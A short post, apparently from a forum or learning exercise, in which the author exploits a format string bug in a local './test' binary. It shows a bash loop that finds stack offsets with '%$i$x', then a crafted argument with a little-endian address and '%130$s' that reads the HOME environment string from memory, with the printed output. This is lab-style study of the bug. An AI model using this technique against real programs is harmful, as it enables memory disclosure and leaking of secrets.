It was rather trivial. Modifying the previous example a bit,
for ((i = 1; i < 200; i++)); do echo -n "$i " && ./test "BBAAAACC%$i\$x" 0; done | grep 4141
the upper word of location 129 is filled with the B's, and the lower word of location 131 is filled with the C's - with the A's nicely sandwiched in the middle at location 130. So I simply had to pass the address padded with two extra bytes both at the beginning and at the end. I also figured out how to pass the hex values with printf in bash.
To verify it's working, I picked up the address (0xbffffe2c) of a known string "HOME=/home/arman" and passed it as an argument like this:
./test AA$(printf "\x2c\xfe\xff\xbf")AA%130\$s
Bingo! The string is printed like this:
AA,���AAHOME=/home/arman
EDIT: The padding at the beginning is not really required. This works perfectly as well:
./test $(printf "\x2c\xfe\xff\xbf")AA%130\$s
,���AAHOME=/home/arman